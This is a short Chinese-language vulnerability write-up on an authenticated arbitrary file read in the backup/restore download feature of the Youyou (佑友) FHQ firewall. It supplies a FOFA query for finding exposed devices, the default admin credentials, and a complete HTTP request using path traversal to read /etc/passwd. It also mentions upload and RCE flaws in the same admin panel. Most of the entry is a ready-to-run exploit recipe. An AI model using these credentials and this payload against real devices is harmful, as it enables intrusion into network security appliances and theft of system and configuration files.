Y31-1佑友FHQ-网络安全设备-任意文件读取

漏洞描述：

佑友FHQ 后台备份与恢复的功能处存在任意文件读取漏洞（后台还存在上传和RCE），经过身份验证的远程攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

网站图片：

fofa语法：

app="佑友-佑友防火墙"

漏洞复现：

默认账号密码登录后台

admin/hicomadmin 备份/恢复——>点击下载——>抓包 效果图：

修改file参数为读取文件的路径，跨目录使用../ payload：

```
GET /index.php?c=backup&a=download&file=../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Cookie: your-cookie
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: frame
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
```

```
Priority: u=4
```

效果图：